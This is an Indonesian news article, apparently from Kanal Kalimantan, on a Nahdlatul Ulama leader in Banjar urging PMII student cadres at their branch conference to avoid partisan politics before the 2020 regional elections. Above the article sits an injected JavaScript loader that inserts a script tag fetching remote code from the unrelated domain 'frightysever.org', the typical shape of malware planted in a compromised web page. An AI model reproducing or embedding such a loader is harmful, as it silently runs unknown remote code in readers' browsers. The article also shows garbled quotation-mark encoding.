(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Plt Ketua Tanfidziyah Pengurus Cabang Nahdatul Ulama (PCNU) Kabupaten Banjar H Gt Abdurrahman berharap para kader PMII dapat menjaga marwah organisasi, terlebih jelang Pilkada 2020.
“Jangan “menjual†organisasi yang mulia ini untuk terjun bermain politik praktis mendukung salah satu calon,†pesannya saat pembukaan Konferensi Cabang (Konfercab) ke-20 Pengurus Cabang Pergerakan Mahasiswa Islam Indonesia (PC PMII) Martapura, Kabupaten Banjar , Minggu (28/7).
Ia mengaku sangat memberikan apresiasi dan penghargaan yang besar atas terselenggaranya kembali Konferensi Cabang PMII Martapura Kabupaten Banjar.
Hal ini juga sebagai langkah penting yang harus dilakukan oleh sebuah pergerakan yang selalu bergerak dinamis, untuk menghadapi tantangan zaman.
“Saya mengharapkan agar kegiatan ini tidak hanya menjadi agenda rutin tahunan formalitas belaka tetapi harus dijadikan langkah strategis dalam membangun karakter para kader dan aktivis sehingga dapat berkiprah nyata dalam membangun umat, negara dan bangsa,†terangnya.
Lebih lanjut, dirinya menyakini dengan adanya para senior-senior PMII dan tokoh-tokoh muda lainnya, dengan arahan dan bimbingan mereka para kader akan bangkit dengan tangan terkepal maju ke muka.
Selain itu, dirinya juga menyampaikan akan pentingnya menjaga faham Ahlussunah wal Jamaah, ideologi Pancasila dan NKRI sebagai prinsip dan identitas bagi para kader
“Untuk itu kita harus paham dan yakin betul Apa itu Aswaja? dan mengapa harus Aswaja? Apa itu Pancasila dan NKRI? dan mengapa harus Pancasila dan NKRI? jangan sampai kita berorganisasi hanya ikut-ikutan yang bisa menyebabkan mudahnya terpengaruh manakala ada paham lain yang gencar mencari dukungan di medsos yang semakin marak akhir-akhir ini,†tegasnya.
Dirinya juga menghimbau kepada para kader untuk andil bagian bersama organisasi induk Nahdatul Ulama (NU) agar seyogyanya menggalakkan kajian-kajian bertema Aswaja dan kebangsaan di setiap momen tertentu, baik seperti daurah Aswaja yang diadakan setiap bulan di gedung NU oleh Lembaga Dakwah NU, Majelis Lailatul Ijtima oleh Syuriah PCNU dan sebagainya.
Ia berpesan agar para kader dapat menjaga Marwah organisasi, dengan tidak terjun bermain politik praktis mendukung salah satu calon. “Terlebih mendekati tahun 2020 yang mana akan diselenggarakan Pilkada,†tutupnya
Sementara itu, H Ahmad Fauzan Saleh menginginkan seluruh kampus di Kabupaten Banjar, harus memiliki komisariat dan rayon PMII. Melalui hal tersebut diharapkan dapat mengembangkan dan pembinaan nilai-nilai kebangsaan dan Aswaja. “Sehingga menjadi benteng dari faham-faham menyimpang dan radikalisme,†pungkas Mabincab PMII Kabupaten Banjar ini (dew).
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.